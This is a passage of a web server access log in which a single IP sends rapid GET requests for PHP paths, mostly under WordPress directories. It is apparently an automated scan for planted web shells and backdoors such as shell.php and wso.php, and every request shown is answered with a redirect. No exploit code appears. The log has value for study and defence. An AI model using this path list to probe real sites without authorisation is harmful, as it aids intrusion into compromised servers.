-0400] "GET /user/default.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.33.45.65 - - [27/Apr/2025:19:20:16 -0400] "GET /wp-content/themes/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.33.45.65 - - [27/Apr/2025:19:20:16 -0400] "GET /wp-includes/css/dist/niil.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.33.45.65 - - [27/Apr/2025:19:20:16 -0400] "GET /moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.33.45.65 - - [27/Apr/2025:19:20:17 -0400] "GET /wp-admin/css/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:20:17 -0400] "GET /wp-admin/js/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 194.33.45.65 - - [27/Apr/2025:19:20:17 -0400] "GET /1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 194.33.45.65 - - [27/Apr/2025:19:20:17 -0400] "GET /wp-content/uploads/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 194.33.45.65 - - [27/Apr/2025:19:20:17 -0400] "GET /pgs.phP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 194.33.45.65 - - [27/Apr/2025:19:20:17 -0400] "GET /shell20211028.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:20:17 -0400] "GET /mjq.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:20:18 -0400] "GET /content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 194.33.45.65 - - [27/Apr/2025:19:20:18 -0400] "GET /readme.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.33.45.65 - - [27/Apr/2025:19:20:18 -0400] "GET /litespeed.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:20:18 -0400] "GET /bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:20:18 -0400] "GET /.qiodeme.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.65 - - [27/Apr/2025:19:20:18 -0400] "GET /ad.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 194.33.45.65 - - [27/Apr/2025:19:20:19 -0400] "GET /wp-content/plugins/pwnd/pwnd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:20:19 -0400] "GET /wp-content/upgrade/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:20:19 -0400] "GET /df.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.65 - - [27/Apr/2025:19:20:19 -0400] "GET /jindex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 194.33.45.65 - - [27/Apr/2025:19:20:19 -0400] "GET /wp-configs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:20:19 -0400] "GET /Files/Mo0n.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:20:19 -0400] "GET /wp-content/mah.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 194.33.45.65 - - [27/Apr/2025:19:20:19 -0400] "GET /bv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 194.33.45.65 - - [27/Apr/2025:19:20:19 -0400] "GET /.well-known/acme-challenge/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.65 - - [27/Apr/2025:19:20:20 -0400] "GET /403.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:20:20 -0400] "GET /bk.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 194.33.45.65 - - [27/Apr/2025:19:20:20 -0400] "GET /wp-includes/fonts/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:20:20 -0400] "GET /wp-content/languages/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:20:20 -0400] "GET /wp-atom.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:20:20 -0400] "GET /hj.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:20:20 -0400] "GET /sym.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:20:20 -0400] "GET /lp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.65 - - [27/Apr/2025:19:20:20 -0400] "GET /Files/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:20:20 -0400] "GET /wp-includes/ID3/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:20:21 -0400] "GET /yt.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.33.45.65 - - [27/Apr/2025:19:20:21 -0400] "GET /wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:20:21 -0400] "GET /x/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.65 - - [27/Apr/2025:19:20:21 -0400] "GET /hehehehe.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:20:21 -0400] "GET /.github/default.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:20:21 -0400] "GET /default.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 194.33.45.65 - - [27/Apr/2025:19:20:21 -0400] "GET /bn.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 194.33.45.65 - - [27/Apr/2025:19:20:21 -0400] "GET /wordpress/update/wpupex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:20:21 -0400] "GET /plugin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.65 - - [27/Apr/2025:19:20:21 -0400] "GET /wp-content/plugins/seoplugins/mar.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:20:22 -0400] "GET /ini.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 194.33.45.65 - - [27/Apr/2025:19:20:22 -0400] "GET /wp-includes/rest-api/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 194.33.45.65 - - [27/Apr/2025:19:20:22 -0400] "GET /shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:20:22 -0400] "GET /aa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.33.45.65 - - [27/Apr/2025:19:20:22 -0400] "GET /wp-content/plugins/revslider/includes/external/page/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:20:22 -0400] "GET /wp-admin/includes/classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:20:22 -0400] "GET /wp-includes/ID3/about.php/wp-content/x/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.33.45.65 - - [27/Apr/2025:19:20:22 -0400] "GET /wpn.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:20:22 -0400] "GET /wp-admin/css/colors/eew.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:20:23 -0400] "GET /wp-admin/js/widgets/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:20:23 -0400] "GET /wp-includes/rk2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:20:23 -0400] "GET /wp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.65 - - [27/Apr/2025:19:20:23 -0400] "GET /wp-content/themes/xc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 194.33.45.65 - - [27/Apr/2025:19:20:23 -0400] "GET /baxa1.phP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.65 - - [27/Apr/2025:19:20:23 -0400] "GET /av.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:20:23 -0400] "GET /network.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.33.45.65 - - [27/Apr/2025:19:20:23 -0400] "GET /wso.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.65 - - [27/Apr/2025:19:20:24 -0400] "GET /wp-content/upgrade/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:20:24 -0400] "GET /wp-2019.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:20:24 -0400] "GET /wp-includes/widgets/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:20:24 -0400] "GET /wp-content/Files/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:20:24 -0400] "GET /vv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:20:24 -0400] "GET /wp-includes/style-engine/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 194.33.45.65 - - [27/Apr/2025:19:20:24 -0400] "GET /wp-user.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:20:24 -0400] "GET /wp-signup.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:20:24 -0400] "GET /.well-known/acme-challenge/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 194.33.45.65 - - [27/Apr/2025:19:20:24 -0400] "GET /assets/css/403.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:20:25 -0400] "GET /error.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 194.33.45.65 - - [27/Apr/2025:19:20:25 -0400] "GET /ff.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:20:25 -0400] "GET /.well-known/pki-validation/moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:20:25 -0400] "GET /wp-content/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.65 - - [27/Apr/2025:19:20:25 -0400] "GET /credits.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:20:25 -0400] "GET /wp-content/plugins/dummyyummy/wp-signup.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:20:25 -0400] "GET /wp-includes/js/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:20:25 -0400] "GET /about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:20:25 -0400] "GET /wp-includes/.qiodetme.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:20:26 -0400] "GET /wp-admin/maint/flower.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:20:26 -0400] "GET /wp-includes/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:20:26 -0400] "GET /wp-tinymce.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.33.45.65 - - [27/Apr/2025:19:20:26 -0400] "GET /wp-links.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:20:26 -0400] "GET /css/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:20:26 -0400] "GET /retu.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:20:26 -0400] "GET /aw.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:20:26 -0400] "GET /lv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:20:26 -0400] "GET /wp-includes/block-patterns/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.33.45.65 - - [27/Apr/2025:19:20:26 -0400] "GET /dr.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:20:26 -0400] "GET /randkeyword.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:20:27 -0400] "GET /wp-admin/Files/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:20:27 -0400] "GET /wp-includes/js/tinymce/skins/lightgray/img/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:20:27 -0400] "GET /ay.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.65 - - [27/Apr/2025:19:20:27 -0400] "GET /wordpress/wp-admin/wp-edit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.65 - - [27/Apr/2025:19:20:27 -0400] "GET /wp-includes/SimplePie/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.33.45.65 - - [27/Apr/2025:19:20:27 -0400] "GET /wp-content/plugins/ioptimization/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:20:27 -0400] "GET /wp-content/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 194.33.45.65 - - [27/Apr/2025:19:20:27 -0400] "GET /wp-admin/network/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 194.33.45.65 - - [27/Apr/2025:19:20:27 -0400] "GET /wp-admin/defaults.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:20:27 -0400] "GET /mini.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:20:28 -0400] "GET /yy.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:20:28 -0400] "GET /.well-known/pki-validation/eew.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.33.45.65 - - [27/Apr/2025:19:20:28 -0400] "GET /wp-includes/IXR/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.33.45.65 - - [27/Apr/2025:19:20:28 -0400] "GET /log.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:20:28 -0400] "GET /tr.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 194.33.45.65 - - [27/Apr/2025:19:20:29 -0400] "GET /wp-content/themes/pridmag/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:20:29 -0400] "GET /wp-includes/css/dist/test.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 194.33.45.65 - - [27/Apr/2025:19:20:29 -0400] "GET /byp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 194.33.45.65 - - [27/Apr/2025:19:20:29 -0400] "GET /aq.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:20:29 -0400] "GET /yu.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.33.45.65 - - [27/Apr/2025:19:20:29 -0400] "GET /gt.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 194.33.45.65 - - [27/Apr/2025:19:20:29 -0400] "GET /duck.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 